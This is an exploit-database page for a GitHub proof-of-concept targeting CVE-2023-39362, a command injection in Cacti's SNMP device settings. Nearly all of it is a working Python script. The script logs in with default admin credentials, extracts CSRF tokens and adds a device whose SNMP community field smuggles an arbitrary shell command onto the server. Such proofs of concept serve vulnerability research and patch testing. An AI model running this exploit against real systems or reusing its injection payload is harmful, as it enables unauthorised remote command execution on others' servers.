Exploit database

GH-55e04940a87c35cfd53d02c60fcd408c

jakabakos/cve-2023-39362-cacti-snmp-command-injection-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-39362

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 3,928 bytes
from bs4 import BeautifulSoup
import requests
import argparse
import time

# Headers for POST requests
headers_post = {
    "Accept": "text/html",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}

# Function to perform login and get Cacti cookie
def perform_login(url, username, password):
    # Load the site
    response = requests.get(url + "/cacti/index.php", allow_redirects=True)
    
    # Extract CSRF token from the response
    csrf_token = extract_csrf_token(response.text)

    # Extract cookies from the response
    cookies = response.cookies

    # Send a POST request with credentials
    payload = {
        "__csrf_magic": csrf_token,
        "action": "login",
        "login_username": username,
        "login_password": password
    }
    response = requests.post(url + "/cacti/index.php", headers=headers_post, cookies=cookies, data=payload, allow_redirects=True)
    
    if 'Access Denied!' not in response.text and response.status_code == 200:
        return cookies
    else:
        pass

def add_new_device(url, cookies, cmd):
    print("[+] Adding a new device with command injection payload")

    # Extract csrfMagicToken from the response
    csrf_magic_token = get_csrf_magic_token(url, cookies)

    post_data = {
        "__csrf_magic": csrf_magic_token,
        "description": "DEVICE",
        "hostname": "HOSTNAME",
        "host_template_id": "9",
        "snmp_version": "2",
        "snmp_community": f"public\\' ; {cmd} ; \\'",
        "snmp_security_level": "authPriv",
        "snmp_auth_protocol": "MD5",
        "snmp_priv_protocol": "DES",
        "snmp_port": "161",
        "snmp_timeout": "500",
        "max_oids": "10",
        "bulk_walk_size": "-1",
        "availability_method": "2",
        "ping_method": "1",
        "ping_port": "23",
        "ping_timeout": "400",
        "id": "0",
        "save_component_host": "1",
        "action": "save"
    }

    print("[+] Sending POST request with command injection payload to add a new device.")
    response = requests.post(f"{url}/cacti/host.php?header=false", headers=headers_post, cookies=cookies, data=post_data, allow_redirects=True)

    if response.ok:
        print("[+] Command injection successful.")
    else:
        print("[-] Something went wrong. Command injection is unsuccessful.")

# Function to get the csrfMagicToken from the response
def get_csrf_magic_token(url, cookies):
    print("[+] Extracting csrfMagicToken...")

    response = requests.get(f"{url}/cacti/host.php?action=edit&create=true", cookies=cookies, allow_redirects=True)

    csrf_token = extract_csrf_token(response.text)

    if csrf_token:
        print('[+] The csrfMagicToken obtained.')
        return csrf_token
    else:
        print('[-] Can\'t extract csrfMagicToken. Exiting...')
        exit(0)

# Function to extract CSRF token
def extract_csrf_token(response_text):
    soup = BeautifulSoup(response_text, 'html.parser')
    csrf_token = soup.find('input', {'name': '__csrf_magic'}).get('value')
    return csrf_token

if __name__ == "__main__":
    # Command-line argument parsing
    parser = argparse.ArgumentParser(description="Cacti Command Injection vulnerability (CVE-2023-39362) PoC exploit script")
    parser.add_argument("--url", required=True, help="Cacti host URL")
    parser.add_argument("-u", "--username", default="admin", help="Username (default: admin)")
    parser.add_argument("-p", "--password", default="admin", help="Password (default: admin)")
    parser.add_argument("--cmd", default="", help="Command to execute")

    # Parse command-line arguments
    args = parser.parse_args()

    # Perform login
    cookies = perform_login(args.url, args.username, args.password)
    if cookies:
        print('[+] Login is successful.')
        add_new_device(args.url, cookies, args.cmd)
    else:
        print('[-] Login failed. Check your credentials.')
        exit(0)